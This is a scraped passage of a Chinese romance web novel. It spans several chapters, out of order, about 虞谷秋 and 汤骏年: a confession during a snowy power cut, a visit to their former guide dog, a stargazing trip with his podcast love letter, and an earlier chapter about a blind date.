汤骏年去检查了屋里的电闸,没有跳闸,再从二楼的窗户眺望出去,不止其他人家,连街上的路灯都熄灭了,可见是大雪让整片区域停电。 他回到客厅告诉虞谷秋这个消息,今晚或许不会再来电,头发吹得半干不干,此时也没有办法。 虞谷秋从沙发上跳下来,学以致用道:“幸好不是在洗澡的时候断的电,说不定还会摔跤。正好我太困了,我可以去睡觉了!” 汤骏年还想说什么,默了默,出口却是:“好……那晚安。” “晚安。” 两人在黑暗中道别,还互相挥了挥手。 凌晨三点十分,虞谷秋却突然从床上惊醒。 她很少会有半夜醒来的时候,虽然她睡眠算不上好,多梦,但因为经常日夜颠倒的关系,保持了一种只要睡觉就能一觉到醒的好习惯。而在这个离别前夜,她的身体被意识唤醒,不愿意面对睁眼就是早上的境况似的,提前醒过来,醒在黑暗中。 虞谷秋尝试按了按床头灯,仍没反应,看来依旧在停电。 她爬起来去卫生间,下床时侧头看向窗外,这场雪依然没停……略一失神,脚踢到瘫在地上忘记合上的行李箱,身体失去平衡,慌乱中她去抓一边的椅子,却在黑暗中没摸对位置,一阵巨响,人和椅子全都翻了。 虞谷秋膝盖磕到地板上,痛得直想叫,一想到这是三更半夜,立马咬住嘴唇忍下来。 可好像晚了,门外传来几声轻叩,汤骏年在门外很紧张地问:“怎么了?” 她仓促地站起来去开门,在黑暗中龇牙咧嘴:“我吵醒你了吗?” “没,我还没睡。你怎么样?” “我没事,没注意到箱子被绊倒了。” “有磕到哪儿吗?” 她本想直接说没伤到哪儿,但是犹豫了,想起他们练习过的,慢慢地把真实说出口:“……膝盖。” “我带了药油,你等一下。” 他不等她拒绝,径直扭头回了房间。 虞谷秋跟着走出房间,小心翼翼地,站在客厅中央。很快,汤骏年手上拿着药油过来了,他在黑暗中行动自如,一点不见磕碰。 汤骏年指向沙发:“不坐吗?” 虞谷秋摇头,向他伸手:“药油给我就可以了。” 他抿起唇:“那至少让我看一下你的伤。” 虞谷秋死死拽紧自己的睡裙,摇头道:“……不。” “我没有别的意思,只是担心。” “我知道。”虞谷秋在黑暗中苦笑了下,“但我不知道你还记不记得我说的话……我腿上有好多色素黑块呢,真的,很难看,会吓到你。” 汤骏年沉默了一会儿,将药膏递过来。但就在虞谷秋伸手去拿时,他反握住她的手腕,引导着她的手摸到自己眼前。 他闭上眼睛,示意她继续摸摸他的眼睛。 “虞谷秋,你看过我的盲眼,你告诉我,我当时残缺的眼睛难看吗,会吓到你吗?” 虞谷秋愣愣地,不假思索地回他:“当然不会。” 她的手指触着他轻阖着的眼皮,她的指尖能感受到温热的颤动。 他闭着眼睛说:“那这也是我的回答。” “胡说……你都还没看过我的腿呢。” “那你也要先给我机会不是吗?” 虞谷秋抽回手,汤骏年轻轻睁开眼,一瞬不瞬地盯着她瞧。 她在这时不由得想到院里的范西平。他进院里之前患有烟瘾,院里不准抽,他只能戒,但有一次在花园里偷偷抽还是被她抓包了。她苦口婆心跟范西平说抽烟多有害,范西平说我抽了一辈子我能不知道吗?但这东西,你碰上了你就沾不掉啊,你抗拒不了的。 真是,这句话就在此时此刻冒出来,直往她心头里撞。很难说汤骏年不是一款烟,一款特别为她定制的烟,她抗拒不了的。 她自暴自弃道:“那你看吧,随便你看!” 她一把提起睡裙,拉高到露出膝盖,小腿上东一块西一块的色素沉积暴露出来,最大的一块围绕着脚踝半圈,侧面看过去还以为带着一副黑色腿环。 然而小腿已经是身上并不严重的区域了,大腿根部才是重灾区……内侧密麻的色块,如果有密集恐惧症的人看到这样的照片铁定会感觉不适。所以,她所说的吓人,难看,并不是一种妄自菲薄,而是客观意义上的事实。这怎么能和他的眼睛相提并论? 她在黑暗中盯紧他的神情,迫切地想从汤骏年的表情中找出一点惊愕或不适,想看他的眉头有没有皱起,视线有没有避开……然而盯遍他脸上的蛛丝马迹,她什么都没有找到。 虞谷秋想,他只是看不清。如果看清他还是会露怯的。 他蹲下,目光淡淡扫过她的小腿,平常地扭开药膏替她抹上膝盖。收回手时,还有些湿润的指尖慢慢地顺着那些沉积的色块划过去,然后抬起眼看她。 “你知道我看着你这些地方的时候,脑子里第一个念头是什么吗?” 虞谷秋又想,无非是要安慰她的漂亮话吧。 她惴惴地问道:“是什么?” 汤骏年低下头,视线努力地辨认着她的“伤口”,一指节一指节地碰过去,哑着嗓音道:“我想吻这里。” “这里。” “这里。” “还有这里。” 他每说一处,手碰向一处,在黑暗中艰难地摸索着全部,再抬起头看她。 “因为是你的身体,我看了只想吻你。” 虞谷秋踉跄往后一步,拽着睡裙的手一松,裙摆重新放下来,阻隔了他的视线和触碰。 汤骏年站起身,语气却相当君子:“对不起,吓到你了。” 耳边有电流闪过,虞谷秋此时怀疑自己的大脑已经过速,烧断了所有神经,却唯独留下感知欲望的那一根,以致他的指尖碰在那上面的触感仍延时在她的表皮上游走。她被关自己的身体里,像被困在另一座大楼,对面漆黑,忽然一处灯亮了,又亮了,她大叫着说不可以,不能亮,使劲拍着窗户冲对面大喊,摩天大楼的窗户依然以燎原之势弥漫开,最终,所有的灯全亮了,大楼辉煌得令人失神。 虞谷秋向前一迈,踮起脚尖,扬起脸,去寻汤骏年的嘴唇。 先吻上去的那个人是她自己。 汤骏年在黑暗中不期然的瞳孔微张。 窗外的雪仍在下,雪落在积雪上的声音比他们的呼吸要轻。 虞谷秋吻上他的嘴唇,确切地说是撞了一下他的嘴唇,把她所有的不甘和爱意倾注在这一吻上,大楼的灯这下才肯熄。 她仓皇十足地退开,转身想逃回房间,却从背后被抓住手腕。汤骏年从身后覆上来,他的吻也覆上来,细密地落在她垂下头而露出的后颈。不是直接吻在皮肤上,隔着她的头发,他的吻轻而柔地蔓延开去,被吻的发丝骚动着皮肤,她禁不住地在颤抖。 轻吻一时停止,汤骏年手握住她的双肩,将她再度转过来,转向他。 两人的目光在一片雪白色的黑暗中交织着,靠近着,又离开。他看向她的嘴唇,握着她肩的手松开,慢慢捧起来她的脸,大拇指腹擦着她的下巴,指尖反复顶过她下唇的唇珠。虞谷秋便咬紧下唇,不想让他碰到。 她刚咬起来的刹那,汤骏年的手一抬她的下巴,吻压下来了。 一个真正的,交缠在一起的吻。不是浅尝辄止的我碰碰你你碰碰我,而是身体交出去一部分,灵魂也跟着交出去一部分。不得要领,全凭本能,勾着直到彼此都喘不过气,狼狈地松开,虞谷秋一头倒在汤骏年肩头,额头抵着他喘气。他亦紧抱住她。 两人依偎在一起,等着各自的呼吸平息。 虞谷秋这时已经脑子一片空白,她侧过头,侧脸仍旧压着汤骏年的肩头,静静看向窗外,雪好像变小了,像他们此时一般安静。 她已经不知道自己是贪恋这个肩膀,还是不知该如何收场,所以就这么一动不动地靠着他,直到,她感觉自己的肩头忽然有湿意。 虞谷秋愕然地抬起脸,松开和汤骏年的距离,怔怔地,发现了他挂着泪珠的眼睫。 他飞速地眨了几下眼睛,偏过头去。 虞谷秋对他这个反应感到震惊和茫然,喃喃道:“为什么哭了?” 很久,他回答: “是感到幸福。”他红着眼眶微笑道,“想到这个吻,想到也许这代表着你还喜欢我的可能,我就忍不住掉下眼泪了。” 他的话让虞谷秋的眼泪也一下子不期然地夺眶而出。 她抓紧他的衣服,脸埋在他的胸前,很快濡湿他的黑色睡衣。 滴在她肩头的眼泪已经干了,但在她心里留下了泪痕。 “这不是可能。”她哽咽着,难以控制地告白,“汤骏年,我喜欢你……我依然喜欢你,没有变过。” 原来,即便她使劲浑身解数关押自己的心,可解开它的钥匙,仅需要爱人的眼泪。《 》 【正文完】 第64章 一周后容兰芝办理了离院手续, 当天早上是周承意来接的人,两人在走廊碰见,虞谷秋礼貌地冲他点头, 他停下来寒暄道:“真的不好意思,外婆给你造成麻烦了。” 虞谷秋真没当回事, 摆手道:“你还是快去房间接她吧。” “虞谷秋。” “还有事吗?” 周承意笑着问:“以后是不是不会再见面了?” “应该不会了吧?”虞谷秋讽刺地反问, “难道你还想再跟我见面?” 他摇摇头:“绝没有。” 虞谷秋耸肩说:“英雄所见略同。” “该说不愧是流着点一样的血吗?” 虞谷秋左右看看,压低声音:“可别再来那套姐姐弟弟的,收起你的猎奇心, 过家家游戏也该到此为止了。” 周承意点头道:“放心吧,从今以后我们走在路上就是陌生人。我绝对不会主动跟你打招呼的,倒是你别控制不住先跟我打招呼了, 像今天这样。” 虞谷秋很使劲才克制住自己的白眼,挤出笑容道:“因为这一刻您还是家属, 我只是做好我的工作。” “好吧。”他学着她耸肩,“那再见了。” 虞谷秋没有回再见,而是说:“慢走。” 与他擦肩而过时,却又听到他讲:“我第一次见你的时候,其实那时候真的还不知道你是我的姐姐。” “如果永远不知道就好了。” 愣神的空档,周承意已经挥挥手,风轻云淡地朝前离开了。 虞谷秋惊吓地回过神, 这啥意思?听上去有点像一句话恐怖故事。 这小子是憋着坏故意吓她的,绝对是。 虞谷秋随即朝另一个前方离开, 将之抛在脑后。 * 结束一天工作, 换衣,打卡,下班, 坐公车听播客回家,收下家附近新开门店的传单。 新的一年,日子却似乎依然没什么变化,一样的流程,却有不一样的心情。注意到路边的野花开了,枝条抽出新芽,春天不知不觉到来,一切都好温暖。 虞谷秋哼着歌,曲调是自己都没察觉的《第一次》,去驿站取了快递,拆开,是一些狗狗用的宠物湿巾。 汤骏年掐着日子算,距离飞飞被送到领养家庭有段时间了。换了个彻底的退休环境,他这时再去探望它大概率不会再造成飞飞的混淆,所以要来了飞飞的新家地址,决定一周后两人都有空的那天一齐去看它。 她把东西拍了张照片发给汤骏年:“东西送得好快,我昨晚才下单!” 汤骏年也发了张照片过来,他买的是飞飞最爱吃的小零食。 “我的比你快一天。” 他发来一个得意比树杈的自带表情。 虞谷秋逗他:“你到了不主动报备,扣分!” 他即刻又发来一个“小的知错”表情包。 虞谷秋很惊讶:“你怎么连这种表情包都有!”搞得她很像那种专门喜欢为难男友的女朋友,为此他储备了一堆。 这个十年间没发过表情包的人用一种淡淡的语气向她科普:“有个东西叫微信表情搜索,你不知道吗?” 虞谷秋当即搜了一个巨大的白眼表情飞过去。 他秒回一个笑到从椅子上翻下去的小孩。 一场热火朝天的表情包之战在这个夜晚打响了!你来我往数分钟,最终以虞谷秋胜出告捷—— 然而她是怎么胜的呢。 汤骏年发了一张自制的表情包,不知道是何时偷拍下的虞谷秋,她陪他在家楼下吃米线,明明吃不了辣非要尝一口他的麻辣米线,瞬间吐着舌头,鼻孔微张,脸色红红。 他给这张照片用软件添了四个字:我投降啦! 发完表情包,还发来一条带着笑意的语音。 “太可爱了。” 虞谷秋心想,自己确实得投降了。 她没招地哀嚎一声,将脸埋进沙发。 * 飞飞的新主人是一对老夫妇,孩子在国外念书,他们都退休了,身体不错,只有一些基础病。现在有大把的时间可以陪伴狗狗,而且之间也养过狗,有经验,各方面来说都很适合领养飞飞,因此基地最后选择了他们。 汤骏年提前和老人家约好时间地点,晚上七点的时候在他们家附近的公园见面。 两人提早半小时到,坐在公园的长椅上,各自抱着给飞飞买的零食和湿巾,心情忐忑又惴惴不安,目光在公园的人群中穿行着,谁的狗,谁的猫,统统不在意,虞谷秋在望眼欲穿的等待中提前感知到了什么是身为人母的心情,虽然她和飞飞的情谊还远远称不上母子,相识的日子或许勉强可以叫做后妈?她好笑地想着,目光去看旁边的汤骏年。 他的眼神也在认真地搜寻着,想着兴许飞飞他们提前下来散步,所以看得格外认真,想在飞飞出现前就先认出它。 毕竟他们朝夕相处这么多年,但他却从未真实地见过飞飞,手机里仅存有一张为了上传播客封面当时拍下的飞飞。复明后他凑近看着照片,那是他第一次知道飞飞长什么样子,爱不释手地看了半天,后来设置成手机的屏保,外面是飞飞,内面是虞谷秋,这是他此生的手心和手背。 现在后悔过没有多拍下飞飞还在他身边生活时的照片,可当时根本没能想到自己的人生会有复明的转折,也就不会有拍照留念的念头,他们一起相依为命的日子就如流水般走过了,什么都没留下。 接近七点的公园越来越热闹,荧白的路灯下不时闪过遛狗的各色人,这些小狗腿或长或短,毛有的炸开有的修剪得圆滚滚的,它们打着滚经过草坪,草坪给压踏下去,看得路人不由会心一笑,感觉可爱。可汤骏年看到时在想,飞飞已经很老了,它只会慢悠悠经过这里。 而此时,路灯下真的出现一个比刚才任何一只小狗都要慢的影子。 不知它是为了配合主人老迈的步调,还是主人在配合这条老狗,总之,一人一狗都无比缓慢。与他们的缓慢相比,汤骏年倏忽一下站起来,零食从腿上滑下,还是虞谷秋眼疾手快替他捞住。 她也一直在瞧,还没看到飞飞,汤骏年却已经站起来了。明明他都没真正见过飞飞的样子,明明他的视力比她差多了,明明也还没到时间,太多个明明,虞谷秋两手抓满东西,狐疑地跟着看过去,路灯下,她先看到一条摇晃得飞快的尾巴。 缓慢的飞飞在这瞬间几乎是要挣脱绳索,调动全身,迫切地想向他们冲来。 老人费好大劲才勒住它,虞谷秋和汤骏年在这个节骨眼赶紧迎上,汤骏年叫了一声飞飞,它陡然不再躁动,仰起圆滚滚的脑袋,乌黑的眼珠看着汤骏年。 汤骏年惯性地要伸手摸它,手伸到一半,才想起来小心地问:“我可以摸摸它吗?” 老人呵呵一笑,干脆连绳索都交给他。 “我今天这老腰累得很,你帮我去散散步吧!” 虞谷秋顺势说:“那我帮人捶捶腰,你带飞飞去散步吧!” 她想汤骏年需要和飞飞独处一小段时间,像他们的往日那样,只有他们俩互相作伴。而照顾老人刚好是她的拿手绝活,两人默契分工,汤骏年应下,牵着飞飞沿着小径往前。 她拉着老人在长椅边坐下,将零食和湿巾塞给他,空出双手真的帮人按起腰来。老人连声赞她真会按,虞谷秋得意洋洋,毕竟有人言传身教。尽管她懂的只是脑袋的一些穴位,腰上的还完全不知,其实是在乱按。 回去后是不是该再向汤骏年就腰这方面多取取经呢……她略有些心猿意马地想。 老人被按得服服帖帖时,虞谷秋趁机向他提出一个不情之请。 他一愣,然后松口说:“完全没问题啊。” “太谢谢了!还有,麻烦先跟汤骏年保密!” 眺望小径那头,汤骏年和飞飞已经走完大半圈,他们穿越一个又一个路灯,那神情姿态,令虞谷秋想起第一次坐在紫荆花园的小区长椅上,他领着飞飞,那时他看不见她,笔直地与她擦肩而过。 而如今,他们绕了一圈,绕完命运长长的轨道,停在她的长椅前。 老人很识趣地转过头,一边大声道:“哎哟,我这个腰也好了,不用按了不用按了。” 虞谷秋正襟危坐地看向汤骏年,莫名紧张起来。 汤骏年一手牵着绳子,另一手向她递出掌心,飞飞在一边冲她吐出舌头。 “该我们一起了。”他也背脊挺直,严肃地看着她,“要一起散步吗?” “要!” 她郑重其事地将手心贴向他朝上的掌心。 年过花甲的老人坐在一旁目睹这一幕,怀疑人生地思索着——这真的只是在邀请散步,不是在邀请结婚吗? * 和飞飞见面的时间飞逝而过,还未分别,汤骏年已迫切地问起可不可以再来看飞飞,若可以什么时候再来合适? 老人语焉不详地打岔说,再说吧。 汤骏年怅然若失地看着一人一狗远去,却没注意到老人离开前却冲虞谷秋眨了下眼。虞谷秋暗中冲他了一个大拇指的手势。 汤骏年根本不会想到在他单独带着飞飞散步时,虞谷秋和老人暗中达成一致。 她提出的请求就是可不可以借飞飞一天用。 她早已经安排好他们下一次见面的机会,而为了这一天,她还准备了其他:一辆房车,一辆望远镜,虽然都是租来的,它们和飞飞一样,只有一天的时效。 虞谷秋选择了天气特别好的一天,在傍晚时分找代驾将小房车开到了紫荆花园门口。 汤骏年正在大扫除,忽然收到叫本该在上班的虞谷秋的消息,他随意抓起外套匆忙下楼,在门口看半天都没看见人,却听见对面的房车按了一声喇叭。 汤骏年惊疑不定地看过去,车窗降下,虞谷秋探出半个脑袋和一只手,挥啊挥:“——过来!”她大叫。 汤骏年小跑向车,没搞清楚是怎么回事,就见驾驶座上一个不认识的男人,虞谷秋抱着飞飞正坐在副驾上,他一来,她从副驾上抱着飞飞跳下,将他拉上房车后面。 “他是……” “我找的代驾,你没法开,我现在也不适合开车了嘛。”虞谷秋扬头对司机道:“麻烦您可以出发了——” 司机比了个OK的手势,虞谷秋麻溜地将中间连通的小窗户关上,互相看不见,终于自在了。 汤骏年茫然地被折回来的虞谷秋按在沙发上,飞飞也顺势被摁进怀,这才想起问:“我们去哪儿?” 虞谷秋挤在他身边坐下:“去文山看星星。” 汤骏年陷入怔忪:“看星星……?” “我偷偷加入了一个天文爱好者的大学生群,窥屏他们说今晚会有雷蒙彗星!” 他忍不住笑起来:“只窥屏不聊天吗?” “聊天的话,万一被他们发现我还不满十八岁,那被踢了就要难过了。”虞谷秋不害臊道。 “那这辆房车呢?” “文山那里有个房车基地,我们把车开到那里然后上山。说不定彗星半夜才会来,结束后可以直接下山去房车基地过夜休息,这样不折腾。”她指了指身后,“我特地选了有两张床的,还搬来了飞飞平常在用的狗窝,我们三个都有窝睡,放心!” 汤骏年侧身往后看去,房车虽小,五脏俱全,厨房,沙发,吧台,一张上下铺的小床。 “……不错的安排。”他微妙地评价。 “是吧!”虞谷秋得意洋洋,又问,“你大学的时候去看过星星吗?” “还没来得及。” 虞谷秋想,十年前他本应该像她窥屏的那群大学生一样,闲来时大家结伴去看星星,别说住房车,就算随便驻扎一个帐篷在山里过夜都没问题。青春会包容一切。 时移势易,他们已经不是可以风餐露宿的年纪,但虞谷秋仍想带他回一趟青春里,开着这辆房车的话,一定可以横冲直撞地穿越回过去吧,又或者,是冲向未来。 汤骏年却笑笑说:“但我现在不觉得遗憾了,反而挺庆幸。如果那个时候眼睛没坏,第一次看星星就不一定是和你了。” “为什么不一定是和我,你不会邀请我吗?” “我会,但我邀请你你就会来吗?” “你邀请我看电影我不就答应了嘛!” “那是沾了电影的光吧,不是因为我。”他笑笑,“你那个时候不是还有喜欢的人吗?” “……啊?” “之前在你家里吃饭的时候你提到过,有一个喜欢但因为身体原因不愿意告诉他的人。一直没问过你,那个人是我们的高中同学吗?” 这个念头一直在他心里千回百转,在去参加同学的婚宴上时,主要目的是抓虞谷秋之外,次要的目的就是观察,观察谁是虞谷秋当时喜欢的人。 他看哪个男的都觉得不够格,但看哪个男的又都抱有敌意。 当然,他有想过会不会是自己,但盘点了所有为数不多的交集,她对他从没有超出多一点的同学以上的情谊,连他去给她生日蛋糕的时候她都不愿接受,甚至不正眼看他,最后悻悻地否定了。 或许不是同学,或许是老师,或许是她在校外的朋友……这世界上有太多太多人了,那个藏在你思春期里的初恋是谁呢? 虽然知道也会如鲠在喉,但他仍旧想知道,想知道关于虞谷秋的一切。 她目视前方,心不在焉,完全陷入回忆中。 “他啊……”虞谷秋回过神,神采飞扬地描述,“特别耀眼,特别温柔,特别英俊,特别……” 汤骏年听着,脸上微笑,手里使劲,飞飞不得不在汤骏年怀中翻着白眼叫了一声。 “抱歉抱歉……”汤骏年讪讪地松开手,飞飞蹭一下从他怀中蹿出,逃之夭夭,跳到一边狗窝里。 虞谷秋忍笑道:“怎么了?” 汤骏年咬牙继续微笑:“没事,算了,还是不说了吧。” “真的不要听了?” “下次再说。”他面无表情,“我没想到你的形容词如此……我需要再调整下我的心理建设。” 虞谷秋使劲憋住,清清喉咙:“好哦,那等你下次想知道的时候我再告诉你。” 车子慢慢开出五环,城市傍晚的喧嚣声逐渐远去,房车里有一片很窄很高的小窗户,能看到逐渐隐匿在橘红色晚霞之下的群山。 汤骏年忽然问道:“要不要听点广播?” “好啊,你随便放。” 汤骏年操作着点开手机,不一会儿,手机里传来了汤骏年的声音—— “各位朋友,你们好。好久不见。这是时隔很久的更新。” 虞谷秋愕然。 “这是你的新播客内容吗?”她即刻点开他的账号确认,“明明没有更新啊!” “还没有上传。”汤骏年按下暂停解释,“因为这一期我也想让你做第一位听众。” 虞谷秋顿时心痒痒,催促他继续播放。 他把手机放在茶几上,手揽向虞谷秋的肩,她默契地靠上他,两人姿势舒服地往后倒,一起依偎在并不宽的小沙发里。 手机外放的音质听着略显粗糙,慢慢地在天色昏暗的车厢里沙沙播放。 “这一期,我想聊聊完全不同于天文的东西,它是科学的反面,可以说是谁都无法研究参透的东西——关于爱这回事。” “我的妈妈很喜欢给人写信,可能我也遗传了她的癖好吧,想给我的爱人写信。但每个人有每个人的方式,于是我选择在这里记录下我对她的心意,因为就连这个播客也是她劝我开的。她曾说过就算没有人听我的频道,她也会是那个唯一的听众。” 虞谷秋紧张地攥紧手,感觉到前所未有的紧张。 “她是我年少时期就注意到的人,当时我想,慢一点,等我们长大成人,有了更广阔的天地时我再向她奔去。但我没想到长大后的世界并不广阔,而是一座开始囚禁我十年的牢笼。我走不向任何人。” “但十年后,她先走向了我。” 晚霞一点点偏移,车内越来越昏暗,突然,橘红色的微光终于找到角度,照拂这间房车的小窗户,盖在两个人静静倾听的脸庞上。 飞飞拍了拍尾巴,转了一个方向。 “我的眼睛刚好不久,因此回忆起和她重逢的日子大部分都是声音。在此之前,我的世界声音很无聊,翻来覆去是那一套流程——手机闹铃,开煤气时火焰蹿起的声响,大门开关,飞飞的脚掌落在水泥地的摩擦,它轻微的喘息,公交地铁的播报,别人手机里会跳进来的提示音,出站时那一站人尤其多的脚步,到店里时被喊上钟的指令,客人被摁到痛时的重的呼吸,按完后坐在大厅休息时,摆在角落里总是上上下下的竹筒水流……” “而和她重逢之后,声音新鲜得我晕头转向。她第一次见到我撒谎说是另一个人时有点颤抖的声音,第一次有人告诉我楼道里灯坏了需要修的声音,第一次有人和我连线玩大富翁时棋子晃动的声音,第一次有人为了我体验看不见结果撞进自行车堆里的声音,第一次带我听宇宙星象图转化而成的声音,第一次有人为我庆生在家门口等着我时站起来的声音,第一次在跨年时请我去养老院听老年人合唱《月满西楼》的声音,第一次跟不知道如何再面对的亲人相处,却因为她在变得鸡飞狗跳甚至有烟花响起来的夜晚的声音……太多太多,都是我第一次感觉到自己正在被人好好爱着的声音。” “而有一天,这些声音骤然消失了。像恐龙突然消失在世界上一样,那样的庞然大物,在我的世界消失了。地球能若无其事地活下去,但我觉得我不能。” 橙红色的夕阳落下去了,房车内虽然昏暗,但有别的光照进来,攀升上的月亮分出一点余光照进这里,再度落在他们的脸庞上。 “我是一个不幸的人,这是我发生意外后就确认的一件事。我从来不认为命运会分给我一点好运气,它只会极为不公正地对待我。但生平第一次,我居然也会有觉得我好幸运的时刻,那就是和她重逢,以及她向我坦白,她的离开不是因为不爱我。” “但她离开我的原因也让我觉得很无可奈何,不知该怎么说才好。我想起我们去看破冰船的那天,船上有人提到海雪。那是海里的浮游生物,排泄颗粒,泥沙,尘土……这些肮脏腐坏的东西聚集在一起,慢慢往下层深海飘落时的景象,极似雪,被叫作海雪。她离开我,是认为自己像这些东西一样,有缺陷的,应该往下飘落被弃掉的存在。” “在人的眼中看来,当然清楚漂亮的名头下这的确只是一些浮游生物,不值一提。但是,在那些汇聚在其中的浮游生物来看呢?他看到的,却是一场洋洋洒洒的,特别美的大雪。生命中只存在一次的大雪。海雪还不像普通的雪,据说它没有刺冷的温度,也不易化,它落下之后,就会弥漫在海底,挥之不去。” 飞飞在窝里呆得有点无聊了,见沙发上两个人听得入神,蹿出去又去咬两个人裤脚,不被理睬,悻悻地嗷呜两声,扭头去够沙发边上的两只小玩偶。 那两只小玩偶是两个自制的娃娃,她们的脸庞洋溢笑容,一个高一点,一个矮一头,两人穿着阿根廷的红舞裙,高的娃娃头上还戴着一朵花。 飞飞龇牙咬那朵花,被汤骏年弯下腰抽手拍开它的嘴。他将两只娃娃抱起,矮的塞进自己怀里,高的塞进虞谷秋的怀里。 播客的进度条还剩下最后三十秒。 “虞谷秋,如果你是漂浮在其中的渺小的浮游生物,那么我也正好漂浮在其中。你经过我,让我看到了一场自此经年不会化的海雪。我们会慢慢地,慢慢地一起飘落,有一天终于落到人生最后的深海,我闭上眼的时候,仍能看见你落向我。”- 《海雪弥漫》正文完-《 》 50-60 第51章 汤骏年的这句问话有着不同以往的压迫, 像是笃定要来一个答案才罢休。虞谷秋愣住,视线飘远,不想和他对上。 正不知该如何糊弄他时, 车子如天降救星,稳稳地停在两人面前。 虞谷秋下意识地替他拉开车门, 就像以前惯性照顾他那样。 汤骏年微怔, 看她一眼,说了声谢谢。 虞谷秋懊恼地收回手,在副座和后排中犹豫不决, 直到汤骏年看着她问:“怎么了?” 他表情很无辜,她摇摇头,啪一下把车门关上溜进副座。 她给师傅打字示意他先去就近的地铁站, 师傅看着手机,又看看她, 以为她是聋哑人,目光带上怜悯。 车里多了一个人,再谈起刚才爱来爱去的话题就不合适,两个人都沉默下来,车内只剩司机开着电台广播的声音在流淌。 所幸地铁站不远,这份不自在的沉默没有持续多久。司机将车停下,汤骏年说着谢谢下车, 临开车门前他冷不丁问虞谷秋:“你现在在哪里工作?” 问老同学在哪里工作,这是很正常的事。 虞谷秋克制住加快的呼吸, 在备忘录上打字的手指犹犹豫豫, 还是撒了谎:「待业中」 汤骏年的眼睛掠过那三个字,看向她:“好,再见。” 他下了车。 虞谷秋透过后视镜看着他走, 身影从黑暗中隐入地铁站的白灯下,车子此时往前疾驰,他飞一般地消失了。 过了半小时,虞谷秋刚下车,手机收到了汤骏年的微信消息。 “到家了吗?” 他们的微信界面还停留在国庆那一天,他的回复迟来了这么久,这中间的空白却塞满了两人在一起的回忆,如今又重归空白…… 虞谷秋扫走感叹,回他:「刚到家」 汤骏年发来一个“好”的表情包,这很难得。他们这么多次聊天,她极少见到他发表情包,他的微信表情里表情包也寥寥无几,真的用不太上。 她在这些细枝末节里清醒地感受着他的眼睛在变好,他在改变。 走神中,汤骏年又一条语音飞至:“你接下来什么时候有空?” 虞谷秋一时拿捏不准他问这句话的意图是什么。 「不好说,怎么了?」 “有空一起看一场电影吧。”他说,“当年放了你鸽子,对不起,现在补回来。” 这是一个很令人心动的提议,有始有终,他们在某个层面上想的竟如此相似。 可是……她早已经在他不知情的时候披着马甲和他看过了,她心里已没有遗憾,虽然看的并不是当年约定的那一部电影。 他的遗憾她只能狠狠心咬牙留给他自己解决。 「不用了。毕竟圣诞快乐那部电影也没有再上映了。」 她不为所动地按下发送。 手机消停下来,毕竟死缠烂打绝不是汤骏年的作风。 她放下手机,洗澡,倒可乐,点开一部剧,想犒劳下惊慌失措了一整晚的自己。 刚拉开易拉罐,安静的手机又亮起。 她以为汤骏年不会再回,可他还是回了,还回了一条稍长的语音,轻描淡写道:“那就看现在正在上映的。有爱情,悬疑,战争,动作,还有动画片……你偏爱看哪种类型?” 呲啦,可乐气泡喷了虞谷秋满手。 这话听起来太耳熟了,不是错觉吧?完全是她化名吴冬时拉着他去看电影时问他的话。 他如法炮制,原封不动地搬来问她。 是他从她身上偷师再用回她身上,还是在……试探她? 虞谷秋慌张地盘算今晚每一个细节,不认为自己有哪一个环节留下把柄,她甚至连林淑秀送给自己的戒指都注意到并且摘下来,不可能有纰漏。 确认过后,虞谷秋心稍稍安定,想肯定是自己影响他太深,他可能甚至自己都没意识到他说了同样的话。 她委婉拒绝道:「最近想要好好养病……」 发出去后,她盯着手机,手机终于彻底安静了。 * 婚礼第二天虞谷秋一刷朋友圈,大家都纷纷发了婚礼的照片。有些没去的共友重点却不在新郎新娘,而在于自拍里隐约被带到的汤骏年。 「这是班长吗?」 回复:「是的」 「我去,大变活人啊,不是说眼睛有问题?」 回复:「已经治好了」 另外一个人问: 「他在婚礼上真的透露自己当年暗恋那谁??」 回复:「假的,他没有那么说」 虞谷秋身为“那谁”在这条状态下按了个赞。 过了一会儿,再刷新时,关于暗恋的评论已经被删掉了。他们大概是忘记还加了她这位从不聊天也不发圈的好友,这会儿转移到私聊去蛐蛐了。 真是挺好笑,一群奔三的人居然还能为十年前的八卦大聊特聊,虞谷秋想起养老院里也经常互相传哪个老太和老头暧昧……或许人类不论过了多少岁都是八卦心旺盛的青少年。 虞谷秋躺在床上翻了个身,手指还在往下划,养母胡采春的电话打进来。 她坐起来端正地接听:“喂,妈。” “在忙吗?” “不忙,今天是晚班。” “我来问问你是除夕回来还是前一天回?” “我……前一天回来吧,帮您忙,家里大扫除什么的应该很需要人。” “不用不用,那天你就去见见郑宵。” 虞谷秋没想起来:“谁?” “哎,就是妈妈朋友的儿子呀。说了介绍你们认识的。” “啊,是,想起来了。” “那就这样,我一会儿把他推给你,你们见面前先聊聊。” “妈。”虞谷秋赶在胡采春挂断前冲动地叫住她,“你真的希望我去见这个郑宵吗?” “……什么意思?” “他妈妈是你的朋友。”虞谷秋自嘲道,“你应该没对她说过我的病吧?如果被她知道你隐瞒这一点还介绍给她儿子,我怕影响你们的关系。” 胡采春大不了道:“你那个都是小时候的毛病了,也就皮肤上落一些疤,有什么大碍?” 虞谷秋沉默,在她的沉默中,胡采春意识到什么。 她的语气也变得严肃:“怎么了吗?” 虞谷秋言简意赅地将之前体检的事告诉她。 “妈,这不只是我小时候的病。”虞谷秋平静道,“这是我一生的病。” 胡采春沉默很久,逸出一声很轻的叹息。 “真是作孽……”她无奈道,“那你也去见见人家,单纯吃顿饭就行了。不然爽约错的也是我们!” “好,我知道了。” 电话挂断,一个微信名片推送到她这里。 虞谷秋申请添加,对方很快通过,两人寒暄几句,她从郑宵冷淡的回复中感觉到他也只是交差,于是开门见山,把吃饭改为约咖啡,对方欣然应允。 除夕前夜的京崎比起以往很空旷,虞谷秋推开咖啡店的门,放眼望去一片空位,只有角落靠窗的位置坐着一位男士。 对方的羽绒服搭在椅子上,穿着灰色卫衣,头发蓬乱,嘴巴咬着美式,眼睛看着手机,看上去有几分眼熟。 虞谷秋惊愕又迟疑地走过去,敲了敲桌面。 “你是郑宵吗?” 他抬起头,看清虞谷秋的脸也是一愣。 “你是……” 虞谷秋从未想过她被牵线介绍的这位郑宵,居然就是在探戈俱乐部里曾经有过两面之缘的人。对方肯定也没想到。 她哭笑不得地坐下来:“居然会是你。” 他从百无聊赖中振作精神:“真的好巧,是不是说明我们有点缘分?” 虞谷秋也不得不承认:“有一点吧……” “你怎么会来相亲,你没有告诉你妈你有男朋友的事吗?” “……男朋友?” “那天跨年夜你带来的人啊。”他恍然大悟,“哦,我知道了,因为他眼睛的关系才没说的吧?” 